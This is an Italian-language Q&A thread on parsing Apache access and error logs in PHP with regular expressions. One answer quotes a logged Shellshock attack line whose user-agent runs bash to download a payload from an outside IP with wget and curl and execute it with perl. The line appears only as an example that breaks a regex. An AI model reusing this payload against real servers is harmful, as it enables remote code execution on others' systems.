2011-09-29 22 views
25

Ho bisogno di salvare i dati in una tabella (per rapporti, statistiche ecc ...) in modo che un utente possa cercare per ora, agente utente ecc. Ho uno script che viene eseguito ogni giorno che legge il registro Apache e quindi inserirlo nel database.Parse Apache accede a PHP utilizzando preg_match

formato di registro:

10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1" 

mia espressione regolare:

preg_match('/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) (\".*?\") (\".*?\")$/',$log, $matches); 

Ora quando stampo:

print_r($matches); 

Array 
(
    [0] => 10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1" 
    [1] => 10.1.1.150 
    [2] => - 
    [3] => - 
    [4] => 29/September/2011 
    [5] => 14:21:49 
    [6] => -0400 
    [7] => GET 
    [8] => /info/ 
    [9] => HTTP/1.1 
    [10] => 200 
    [11] => 9955 
    [12] => "http://www.domain.com/download/" 
    [13] => "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1" 
) 

ottengo: "http://www.domain.com/download/" e lo stesso per user agent. Come posso liberarmi di questi " nell'espressione regolare? Bonus (C'è un modo rapido per inserire facilmente la data/ora)?

Grazie

+0

Questo è un duplicato di domanda # 2221636 –

+0

Ho scritto una semplice classe di supporto per questo. Vedi https://github.com/Spudley/ApacheLogIterator – SDC

+0

@SDC: Grazie Simon, l'iteratore è fantastico! – Pete855217

risposta

35

Per analizzare un log di Apache access_log in PHP è possibile utilizzare questa espressione regolare:

$regex = '/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/'; 
preg_match($regex ,$log, $matches); 

Per corrispondere al formato Apache error_log, è possibile utilizzare questa espressione regolare:

$regex = '/^\[([^\]]+)\] \[([^\]]+)\] (?:\[client ([^\]]+)\])?\s*(.*)$/i'; 
preg_match($regex, $log, $matches); 
$matches[1] = Date and time,   $matches[2] = severity, 
$matches[3] = client addr (if present) $matches[4] = log message 

Corrisponde alle linee con o senza il client:

[Tue Feb 28 11:42:31 2012] [notice] Apache/2.4.1 (Unix) mod_ssl/2.4.1 OpenSSL/0.9.8k PHP/5.3.10 configured -- resuming normal operations 
[Tue Feb 28 14:34:41 2012] [error] [client 192.168.50.10] Symbolic link not allowed or link target not accessible: /usr/local/apache2/htdocs/x.js 
+0

funziona, grazie – Tech4Wilco

3

Se non si desidera acquisire le virgolette, spostarle fuori dai gruppi di cattura.

(\".*?\") 

dovrebbe diventare:

\"(.*?)\" 

In alternativa si può solo post-process le voci con trim($str, '"')

1

tua regexp sono sbagliate. si shoudl uso corretto regexp

/^(\S+) (\S+) (\S+) - \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/ 
+1

Potresti espandere dove e perché è stato sbagliato? (Ciò contribuirà a garantire che lo stesso errore non si ripeta in futuro) :) –

+0

I secondo. Nessuna spiegazione inclusa sul perché la regex sia sbagliata. – ftrotter

+0

Inoltre, non corrisponde a una linea di registro Apache standard. Ignora questo. – Pete855217

0

Ho provato con un paio di espressioni regolari qui gennaio 2015, e scoprire che un cattivo bot non è sempre un match nel mio ceppo di apache2.

La linea bot apache2 cattivo è un tentativo di BASH hack, e non ho cercato di capire ancora la correzione regexp:

199.217.117.211 - - [18/Jan/2015:10:52:27 -0500] "GET /cgi-bin/help.cgi HTTP/1.0" 404 498 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /tmp/mc\"" 
0

come ho visto e fatto tante errneous analisi di log, qui è una regex si spera valida, testato su 50k linee di tronchi senza alcun singolo diff, sapendo che:

  • auth_user può avere spazi
  • response_size può essere -
  • http_start_line può almeno uno spazio (HTTP/0.9) o due
  • http_start_line può contenere virgolette
  • riferimento può essere vuota, avere spazi o virgolette (è solo un header HTTP)
  • user_agent può essere vuoto troppo, o contenere doppi apici, struttura
  • È difficile distinguere tra referrer e user-agent, ma a casa il numero " " tra entrambi è abbastanza discriminante, tuttavia possiamo trovare il famigerato " " nel referrer e nell'user-agent, quindi in pratica, siamo fottuti qui.

$ncsa_re = '/^(?P<IP>\S+) \ (?P<ident>\S) \ (?P<auth_user>.*?) # Spaces are allowed here, can be empty. \ (?P<date>\[[^]]+\]) \ "(?P<http_start_line>.+ .+)" # At least one space: HTTP 0.9 \ (?P<status_code>[0-9]+) # Status code is _always_ an integer \ (?P<response_size>(?:[0-9]+|-)) # Response size can be - \ "(?P<referrer>.*)" # Referrer can contains everything: its just a header \ "(?P<user_agent>.*)"$/x';

speranza che è di aiuto.

+0

Qual è il? P nella tua espressione regolare? Non ho trovato nulla che usi regex che lo riconosce, viene semplicemente contrassegnato come un errore. – mutatron

+0

@mutatron è un'acquisizione con nome. Cerca "named group" o "named capture group". –